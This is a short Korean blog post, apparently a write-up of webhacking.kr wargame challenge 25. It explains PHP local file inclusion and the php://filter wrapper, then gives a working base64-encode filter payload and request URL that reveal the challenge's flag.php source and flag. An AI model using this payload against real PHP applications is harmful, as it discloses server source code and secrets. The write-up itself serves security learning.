webhacking.kr 25(LFI, phpwrapper)

Sirius·2023년 3월 22일

1. LFI 취약점

외부의 파일을 내가 사용가능한 취약점, 보통 include 함수에서의 취약점으로 인해 발생한다.

취약한 함수들
include()

include_once()

require()

require_once()

fopen()

include함수는 인자로 전달된 파일을 읽은 후 해당 파일의 내용을 출력한다. 만약에 php 코드 구문이 있다면 그 코드를 실행시킨다.

2. php wrapper

wrapper : 코드나 데이터를 둘러 싸다

파일시스템 관련 함수(include, fopen)이 filename으로 입력이 되는 경우 php wrapper를 사용하여 공격할 수 있다.

PHP Wrapper의 'php://filter/'는 서버내의 php 파일을 열람할 수 있도록 해준다.
-> php://filter/convert.base64-encode/resource='파일명' 명령어를 통해 base64로 인코딩된 코드를 화면에서 볼 수 있다.

php://filter/convert.base64-encode/resource='flag.php'

http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag

3. base64 디코딩

<?php
  echo "FLAG is in the code";
  $flag = "FLAG{this_is_your_first_flag}";
?>

해결

0개의 댓글